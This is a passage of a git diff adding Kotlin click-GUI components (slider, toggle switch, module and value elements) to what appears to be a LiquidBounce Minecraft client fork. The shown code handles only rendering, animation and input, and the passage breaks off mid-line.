RenderUtils.drawLine(x + width / 4F, y + width / 2F, x + width / 2.15F, y + width / 4F * 3F, 2F) +// RenderUtils.drawLine(x + width / 2.15F, y + width / 4F * 3F, x + width / 3.95F * 3F, y + width / 3F, 2F) + GL11.glColor4f(1F, 1F, 1F, 1F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/Slider.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/Slider.kt new file mode 100644 index 0000000..2b02f0e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/Slider.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.components + +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animSmooth +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import java.awt.Color + +class Slider { + private var smooth = 0F + private var value = 0F + + fun onDraw(x: Float, y: Float, width: Float, accentColor: Color) { + smooth = smooth.animSmooth(value, 0.5F) + RenderUtils.drawRoundedRect(x - 1F, y - 1F, x + width + 1F, y + 1F, 1F, ColorManager.unusedSlider.rgb) + RenderUtils.drawRoundedRect(x - 1F, y - 1F, x + width * (smooth / 100F) + 1F, y + 1F, 1F, accentColor.rgb) + RenderUtils.drawFilledCircle(x + width * (smooth / 100F), y, 5F, Color.white) + RenderUtils.drawFilledCircle(x + width * (smooth / 100F), y, 3F, ColorManager.background) + } + + fun setValue(desired: Float, min: Float, max: Float) { + value = (desired - min) / (max - min) * 100F + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/ToggleSwitch.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/ToggleSwitch.kt new file mode 100644 index 0000000..0711f47 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/components/ToggleSwitch.kt @@ -0,0 +1,22 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.components + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animLinear +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import java.awt.Color + +class ToggleSwitch { + private var smooth = 0F + var state = false + + fun onDraw(x: Float, y: Float, width: Float, height: Float, bgColor: Color, accentColor: Color) { + smooth = smooth.animLinear((if (state) 0.2F else -0.2F) * RenderUtils.deltaTime * 0.045F, 0F, 1F) + val borderColor = BlendUtils.blendColors(floatArrayOf(0F, 1F), arrayOf(Color(160, 160, 160), accentColor), smooth) + val mainColor = BlendUtils.blendColors(floatArrayOf(0F, 1F), arrayOf(bgColor, accentColor), smooth) + val switchColor = BlendUtils.blendColors(floatArrayOf(0F, 1F), arrayOf(Color(160, 160, 160), bgColor), smooth) + + RenderUtils.drawRoundedRect(x - 0.5F, y - 0.5F, x + width + 0.5F, y + height + 0.5F, (height + 1F) / 2F, borderColor.rgb) + RenderUtils.drawRoundedRect(x, y, x + width, y + height, height / 2F, mainColor.rgb) + RenderUtils.drawFilledCircle(x + (1F - smooth) * (2F + (height - 4F) / 2F) + smooth * (width - 2F - (height - 4F) / 2F), y + 2F + (height - 4F) / 2F, (height - 4F) / 2F, switchColor) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/ModuleElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/ModuleElement.kt new file mode 100644 index 0000000..442033c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/ModuleElement.kt @@ -0,0 +1,180 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.module + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.components.ToggleSwitch +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.ValueElement +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.module.value.impl.* +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.impl.FontElement +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.impl.IntElement +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animSmooth +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.util.ResourceLocation +import org.lwjgl.input.Keyboard +import org.lwjgl.opengl.GL11.* +import java.awt.Color + +class ModuleElement(val module: Module): MinecraftInstance() { + + companion object { + protected val expandIcon = ResourceLocation("liquidbounce+/expand.png") } + + private val toggleSwitch = ToggleSwitch() + private val valueElements = mutableListOf<ValueElement<*>>() + + var animHeight = 0F + private var fadeKeybind = 0F + private var animPercent = 0F + + private var listeningToKey = false + var expanded = false + + init { + for (value in module.values) { + if (value is BoolValue) + valueElements.add(BooleanElement(value)) + if (value is ListValue) + valueElements.add(ListElement(value)) + if (value is IntegerValue) + valueElements.add(IntElement(value)) + if (value is FloatValue) + valueElements.add(FloatElement(value)) + if (value is FontValue) + valueElements.add(FontElement(value)) + } + } + + fun drawElement(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, height: Float, accentColor: Color): Float { + animPercent = animPercent.animSmooth(if (expanded) 100F else 0F, 0.5F) + var expectedHeight = 0F + for (ve in valueElements) + if (ve.isDisplayable()) + expectedHeight += ve.valueHeight + animHeight = animPercent / 100F * (expectedHeight + 10F) + +// RoundedRectShader.draw(x + 9.5F, y + 4.5F, x + width - 9.5F, y + height + animHeight - 4.5F, 4F, ColorManager.buttonOutline) + Stencil.write(true) + RenderUtils.drawRoundedRect(x + 10F, y + 5F, x + width - 10F, y + height + animHeight - 5F, 4F, ColorManager.moduleBackground.rgb) + Stencil.erase(true) + RenderUtils.newDrawRect(x + 10F, y + height - 5F, x + width - 10F, y + height - 4.5F, 4281348144L.toInt()) + Fonts.font40.drawString(module.name, x + 20F, y + height / 2F - Fonts.font40.FONT_HEIGHT + 3F, -1) + Fonts.fontTiny.drawString(module.description, x + 20F, y + height / 2F + 4F, 10526880L.toInt()) + + val keyName = if (listeningToKey) "Listening" else Keyboard.getKeyName(module.keyBind) + + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, + x + 25F + Fonts.font40.getStringWidth(module.name), + y + height / 2F - Fonts.font40.FONT_HEIGHT + 2F, + x + 35F + Fonts.font40.getStringWidth(module.name) + Fonts.fontTiny.getStringWidth(keyName), + y + height / 2F)) + fadeKeybind = (fadeKeybind + 0.1F * RenderUtils.deltaTime * 0.025F).coerceIn(0F, 1F) + else + fadeKeybind = (fadeKeybind - 0.1F * RenderUtils.deltaTime * 0.025F).coerceIn(0F, 1F) + + RenderUtils.drawRoundedRect( + x + 25F + Fonts.font40.getStringWidth(module.name), + y + height / 2F - Fonts.font40.FONT_HEIGHT + 2F, + x + 35F + Fonts.font40.getStringWidth(module.name) + Fonts.fontTiny.getStringWidth(keyName), + y + height / 2F, 2F, BlendUtils.blend(Color(4282729797L.toInt()), Color(4281677109L.toInt()), fadeKeybind.toDouble()).rgb) + Fonts.fontTiny.drawString(keyName, x + 30.5F + Fonts.font40.getStringWidth(module.name), y + height / 2F - Fonts.font40.FONT_HEIGHT + 5.5F, Color.WHITE.rgb) + + toggleSwitch.state = module.state + + if (module.values.isNotEmpty()) { + RenderUtils.newDrawRect(x + width - 40F, y + 5F, x + width - 39.5F, y + height - 5F, 4281348144L.toInt()) + GlStateManager.resetColor() + glPushMatrix() + glTranslatef(x + width - 25F, y + height / 2F, 0F) + glPushMatrix() + glRotatef(180F * (animHeight / (expectedHeight + 10F)), 0F, 0F, 1F) + glColor4f(1F, 1F, 1F, 1F) + RenderUtils.drawImage(expandIcon, -4, -4, 8, 8) + glPopMatrix() + glPopMatrix() + } +// toggleSwitch.onDraw(x + width - 40F, y + height / 2F - 5F, 20F, 10F, Color(4280624421L.toInt()), accentColor) + + toggleSwitch.onDraw(x + width - 70F, y + height / 2F - 5F, 20F, 10F, Color(4280624421L.toInt()), accentColor) + + if (expanded || animHeight > 0F) { + var startYPos = y + height + for (ve in valueElements) + if (ve.isDisplayable()) + startYPos += ve.drawElement(mouseX, mouseY, x + 10F, startYPos, width - 20F, Color(4280624421L.toInt()), accentColor) + } + Stencil.dispose() + + return height + animHeight + } + + fun handleClick(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, height: Float) { + if (listeningToKey) { + resetState() + return + } + val keyName = if (listeningToKey) "Listening" else Keyboard.getKeyName(module.keyBind) + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, + x + 25F + Fonts.font40.getStringWidth(module.name), + y + height / 2F - Fonts.font40.FONT_HEIGHT + 2F, + x + 35F + Fonts.font40.getStringWidth(module.name) + Fonts.fontTiny.getStringWidth(keyName), + y + height / 2F)) { + listeningToKey = true + return + } + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, + x + width - 70F, y, + x + width - 50F, y + height)) + module.toggle() + if (module.values.isNotEmpty() && MouseUtils.mouseWithinBounds(mouseX, mouseY, x + width - 40F, y, x + width - 10F, y + height)) + expanded = !expanded + if (expanded) { + var startY = y + height + for (ve in valueElements) { + if (!ve.isDisplayable()) continue + ve.onClick(mouseX, mouseY, x + 10F, startY, width - 20F) + startY += ve.valueHeight + } + } + } + + fun handleRelease(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, height: Float) { + if (expanded) { + var startY = y + height + for (ve in valueElements) { + if (!ve.isDisplayable()) continue + ve.onRelease(mouseX, mouseY, x + 10F, startY, width - 20F) + startY += ve.valueHeight + } + } + } + + fun handleKeyTyped(typed: Char, code: Int): Boolean { + if (listeningToKey) { + if (code == 1) { + module.keyBind = 0 + listeningToKey = false + } else { + module.keyBind = code + listeningToKey = false + } + return true + } + if (expanded) + for (ve in valueElements) + if (ve.isDisplayable() && ve.onKeyPress(typed, code)) return true + return false + } + + fun listeningKeybind(): Boolean = listeningToKey + fun resetState() { + listeningToKey = false + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/ValueElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/ValueElement.kt new file mode 100644 index 0000000..62d18c1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/ValueElement.kt @@ -0,0 +1,19 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value + +import net.ccbluex.liquidbounce.features.value.Value +import net.ccbluex.liquidbounce.utils.MinecraftInstance + +import java.awt.Color + +abstract class ValueElement<T>(val value: Value<T>) : MinecraftInstance() { + + var valueHeight = 20F + + abstract fun drawElement(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, bgColor: Color, accentColor: Color): Float + abstract fun onClick(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) + open fun onRelease(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) {} + + open fun onKeyPress(typed: Char, keyCode: Int): Boolean = false + + fun isDisplayable(): Boolean = value.displayable +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/BooleanElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/BooleanElement.kt new file mode 100644 index 0000000..fd2efb6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/BooleanElement.kt @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.module.value.impl + +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.components.Checkbox +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.ValueElement +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MouseUtils + +import java.awt.Color + +class BooleanElement(value: BoolValue): ValueElement<Boolean>(value) { + private val checkbox = Checkbox() + + override fun drawElement(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, bgColor: Color, accentColor: Color): Float { + checkbox.state = value.get() + checkbox.onDraw(x + 10F, y + 5F, 10F, 10F, bgColor, accentColor) + Fonts.font40.drawString(value.name, x + 25F, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + return valueHeight + } + + override fun onClick(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) { + if (isDisplayable() && MouseUtils.mouseWithinBounds(mouseX, mouseY, x, y, x + width, y + 20F)) + value.set(!value.get()) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/FloatElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/FloatElement.kt new file mode 100644 index 0000000..3e606eb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/FloatElement.kt @@ -0,0 +1,68 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.module.value.impl + +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.components.Slider +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.ValueElement +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import java.awt.Color +import java.math.BigDecimal + +class FloatElement(val savedValue: FloatValue): ValueElement<Float>(savedValue) { + private val slider = Slider() + private var dragged = false + + override fun drawElement(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, bgColor: Color, accentColor: Color): Float { + val valueDisplay = 30F + Fonts.font40.getStringWidth("${savedValue.maximum.toInt().toFloat() + 0.01F}${savedValue.suffix}") + val maxLength = Fonts.font40.getStringWidth("${savedValue.maximum}${savedValue.suffix}") + val minLength = Fonts.font40.getStringWidth("${savedValue.minimum}${savedValue.suffix}") + val nameLength = Fonts.font40.getStringWidth(value.name) + val sliderWidth = width - 50F - nameLength - maxLength - minLength - valueDisplay + val startPoint = x + width - 20F - sliderWidth - maxLength - valueDisplay + if (dragged) + savedValue.set(round(savedValue.minimum + (savedValue.maximum - savedValue.minimum) / sliderWidth * (mouseX - startPoint)).coerceIn(savedValue.minimum, savedValue.maximum)) + val currLength = Fonts.font40.getStringWidth("${round(savedValue.get())}${savedValue.suffix}") + Fonts.font40.drawString(value.name, x + 10F, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("${savedValue.maximum}${savedValue.suffix}", + x + width - 10F - maxLength - valueDisplay, + y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("${savedValue.minimum}${savedValue.suffix}", + x + width - 30F - sliderWidth - maxLength - minLength - valueDisplay, + y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + slider.setValue(savedValue.get().coerceIn(savedValue.minimum, savedValue.maximum), savedValue.minimum, savedValue.maximum) + slider.onDraw(x + width - 20F - sliderWidth - maxLength - valueDisplay, y + 10F, sliderWidth, accentColor) + RenderUtils.originalRoundedRect(x + width - 5F - valueDisplay, y + 2F, x + width - 10F, y + 18F, 4F, ColorManager.button.rgb) + RenderUtils.customRounded(x + width - 18F, y + 2F, x + width - 10F, y + 18F, 0F, 4F, 4F, 0F, ColorManager.buttonOutline.rgb) + RenderUtils.customRounded(x + width - 5F - valueDisplay, y + 2F, x + width + 3F - valueDisplay, y + 18, 4F, 0F, 0F, 4F, ColorManager.buttonOutline.rgb) + Fonts.font40.drawString("${round(savedValue.get())}${savedValue.suffix}", x + width + 6F - valueDisplay, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("-", x + width - 3F - valueDisplay, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("+", x + width - 17F, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + + return valueHeight + } + + override fun onClick(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) { + val valueDisplay = 30F + Fonts.font40.getStringWidth("${savedValue.maximum.toInt().toFloat() + 0.01F}${savedValue.suffix}") + val maxLength = Fonts.font40.getStringWidth("${savedValue.maximum}${savedValue.suffix}") + val minLength = Fonts.font40.getStringWidth("${savedValue.minimum}${savedValue.suffix}") + val nameLength = Fonts.font40.getStringWidth(value.name) + val sliderWidth = width - 50F - nameLength - maxLength - minLength - valueDisplay + val startPoint = x + width - 30F - sliderWidth - valueDisplay - maxLength + val endPoint = x + width - 10F - valueDisplay - maxLength + + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, startPoint, y + 5F, endPoint, y + 15F)) + dragged = true + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, x + width - 5F - valueDisplay, y + 2F, x + width + 3F - valueDisplay, y + 18F)) + savedValue.set(round(savedValue.get() - 0.01F).coerceIn(savedValue.minimum, savedValue.maximum)) + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, x + width - 18F, y + 2F, x + width - 10F, y + 18F)) + savedValue.set(round(savedValue.get() + 0.01F).coerceIn(savedValue.minimum, savedValue.maximum)) + } + + override fun onRelease(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) { + if (dragged) dragged = false + } + + private fun round(f: Float): Float = BigDecimal(f.toString()).setScale(2, 4).toFloat() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/FontElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/FontElement.kt new file mode 100644 index 0000000..22e607b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/FontElement.kt @@ -0,0 +1,71 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.impl + +import net.ccbluex.liquidbounce.features.value.FontValue +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.ValueElement +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animSmooth +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11.* +import java.awt.Color + +class FontElement(private val saveValue: FontValue): ValueElement<FontRenderer>(saveValue) { + private var expandHeight = 0F + private var expansion = false + + private val maxSubWidth = -(saveValue.values.minOfOrNull { -Fonts.font40.getStringWidth(mc.thePlayer.name) } ?: 0F).toFloat() + 20F + + companion object { + val expanding = ResourceLocation("liquidbounce+/expand.png") } + + override fun drawElement(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, bgColor: Color, accentColor: Color): Float { + expandHeight = expandHeight.animSmooth(if (expansion) 16F * (saveValue.values.size - 1F) else 0F, 0.5F) + val percent = expandHeight / (16F * (saveValue.values.size - 1F)) + Fonts.font40.drawString(value.name, x + 10F, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + RenderUtils.originalRoundedRect(x + width - 18F - maxSubWidth, y + 2F, x + width - 10F, y + 18F + expandHeight, 4F, ColorManager.button.rgb) + GlStateManager.resetColor() + glPushMatrix() + glTranslatef(x + width - 20F, y + 10F, 0F) + glPushMatrix() + glRotatef(180F * percent, 0F, 0F, 1F) + glColor4f(1F, 1F, 1F, 1F) + RenderUtils.drawImage(expanding, -4, -4, 8, 8) + glPopMatrix() + glPopMatrix() + Fonts.font40.drawString(mc.thePlayer.name, x + width - 14F - maxSubWidth, y + 6F, -1) + glPushMatrix() + GlStateManager.translate(x + width - 14F - maxSubWidth, y + 7F, 0F) + GlStateManager.scale(percent, percent, percent) + var vertHeight = 0F + if (percent > 0F) for (subV in unusedValues) { + Fonts.font40.drawString(subV, 0F, (16F + vertHeight) * percent - 1F, Color(.5F, .5F, .5F, percent.coerceIn(0F, 1F)).rgb) + vertHeight += 16F + } + glPopMatrix() + valueHeight = 20F + expandHeight + return valueHeight + } + + override fun onClick(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) { + if (isDisplayable() && MouseUtils.mouseWithinBounds(mouseX, mouseY, x, y + 2F, x + width, y + 18F)) + expansion = !expansion + if (expansion) { + var vertHeight = 0F + for (subV in unusedValues) { + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, x + width - 14F - maxSubWidth, y + 18F + vertHeight, x + width - 10F, y + 34F + vertHeight)) { + (value as FontValue).setByName(subV) + expansion = false + break + } + vertHeight += 16F + } + } + } + + private val unusedValues: List<String> + get() = listOf(saveValue.values.filter { it != value.get() }.map {mc.thePlayer.name }.toString()) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/IntElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/IntElement.kt new file mode 100644 index 0000000..85c5325 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/IntElement.kt @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.impl + +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.components.Slider +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.ValueElement +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import java.awt.Color + +class IntElement(val savedValue: IntegerValue): ValueElement<Int>(savedValue) { + private val slider = Slider() + private var dragged = false + + override fun drawElement(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, bgColor: Color, accentColor: Color): Float { + val valueDisplay = 30F + Fonts.font40.getStringWidth("${savedValue.maximum}${savedValue.suffix}") + val maxLength = Fonts.font40.getStringWidth("${savedValue.maximum}${savedValue.suffix}") + val minLength = Fonts.font40.getStringWidth("${savedValue.minimum}${savedValue.suffix}") + val nameLength = Fonts.font40.getStringWidth(value.name) + val sliderWidth = width - 50F - nameLength - maxLength - minLength - valueDisplay + val startPoint = x + width - 20F - sliderWidth - maxLength - valueDisplay + if (dragged) + savedValue.set((savedValue.minimum + (savedValue.maximum - savedValue.minimum) / sliderWidth * (mouseX - startPoint)).toInt().coerceIn(savedValue.minimum, savedValue.maximum)) + val currLength = Fonts.font40.getStringWidth("${savedValue.get()}${savedValue.suffix}") + Fonts.font40.drawString(value.name, x + 10F, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("${savedValue.maximum}${savedValue.suffix}", + x + width - 10F - maxLength - valueDisplay, + y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("${savedValue.minimum}${savedValue.suffix}", + x + width - 30F - sliderWidth - maxLength - minLength - valueDisplay, + y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + slider.setValue(savedValue.get().coerceIn(savedValue.minimum, savedValue.maximum).toFloat(), savedValue.minimum.toFloat(), savedValue.maximum.toFloat()) + slider.onDraw(x + width - 20F - sliderWidth - maxLength - valueDisplay, y + 10F, sliderWidth, accentColor) + RenderUtils.originalRoundedRect(x + width - 5F - valueDisplay, y + 2F, x + width - 10F, y + 18F, 4F, ColorManager.button.rgb) + RenderUtils.customRounded(x + width - 18F, y + 2F, x + width - 10F, y + 18F, 0F, 4F, 4F, 0F, ColorManager.buttonOutline.rgb) + RenderUtils.customRounded(x + width - 5F - valueDisplay, y + 2F, x + width + 3F - valueDisplay, y + 18, 4F, 0F, 0F, 4F, ColorManager.buttonOutline.rgb) + Fonts.font40.drawString("${savedValue.get()}${savedValue.suffix}", x + width + 6F - valueDisplay, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("-", x + width - 3F - valueDisplay, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + Fonts.font40.drawString("+", x + width - 17F, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + + return valueHeight + } + + override fun onClick(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) { + val valueDisplay = 30F + Fonts.font40.getStringWidth("${savedValue.maximum}${savedValue.suffix}") + val maxLength = Fonts.font40.getStringWidth("${savedValue.maximum}${savedValue.suffix}") + val minLength = Fonts.font40.getStringWidth("${savedValue.minimum}${savedValue.suffix}") + val nameLength = Fonts.font40.getStringWidth(value.name) + val sliderWidth = width - 50F - nameLength - maxLength - minLength - valueDisplay + val startPoint = x + width - 30F - sliderWidth - valueDisplay - maxLength + val endPoint = x + width - 10F - valueDisplay - maxLength + + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, startPoint, y + 5F, endPoint, y + 15F)) + dragged = true + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, x + width - 5F - valueDisplay, y + 2F, x + width + 3F - valueDisplay, y + 18F)) + savedValue.set((savedValue.get() - 1).coerceIn(savedValue.minimum, savedValue.maximum)) + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, x + width - 18F, y + 2F, x + width - 10F, y + 18F)) + savedValue.set((savedValue.get() + 1).coerceIn(savedValue.minimum, savedValue.maximum)) + } + + override fun onRelease(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) { + if (dragged) dragged = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/ListElement.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/ListElement.kt new file mode 100644 index 0000000..65a1213 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/element/module/value/impl/ListElement.kt @@ -0,0 +1,70 @@ +package net.ccbluex.liquidbounce.ui.client.clickgui.newVer.element.module.value.impl + +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.client.clickgui.newVer.ColorManager +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.element.module.value.ValueElement +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions.animSmooth +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11.* +import java.awt.Color + +class ListElement(val saveValue: ListValue): ValueElement<String>(saveValue) { + private var expandHeight = 0F + private var expansion = false + + private val maxSubWidth = -(saveValue.values.map { -Fonts.font40.getStringWidth(it) }.sorted().firstOrNull() ?: 0F).toFloat() + 20F + + companion object { + val expanding = ResourceLocation("liquidbounce+/expand.png") } + + override fun drawElement(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, bgColor: Color, accentColor: Color): Float { + expandHeight = expandHeight.animSmooth(if (expansion) 16F * (saveValue.values.size - 1F) else 0F, 0.5F) + val percent = expandHeight / (16F * (saveValue.values.size - 1F)) + Fonts.font40.drawString(value.name, x + 10F, y + 10F - Fonts.font40.FONT_HEIGHT / 2F + 2F, -1) + RenderUtils.drawRoundedRect(x + width - 18F - maxSubWidth, y + 2F, x + width - 10F, y + 18F + expandHeight, 4F, ColorManager.button.rgb) + GlStateManager.resetColor() + glPushMatrix() + glTranslatef(x + width - 20F, y + 10F, 0F) + glPushMatrix() + glRotatef(180F * percent, 0F, 0F, 1F) + glColor4f(1F, 1F, 1F, 1F) + RenderUtils.drawImage(expanding, -4, -4, 8, 8) + glPopMatrix() + glPopMatrix() + Fonts.font40.drawString(value.get(), x + width - 14F - maxSubWidth, y + 6F, -1) + glPushMatrix() + GlStateManager.translate(x + width - 14F - maxSubWidth, y + 7F, 0F) + GlStateManager.scale(percent, percent, percent) + var vertHeight = 0F + if (percent > 0F) for (subV in unusedValues) { + Fonts.font40.drawString(subV, 0F, 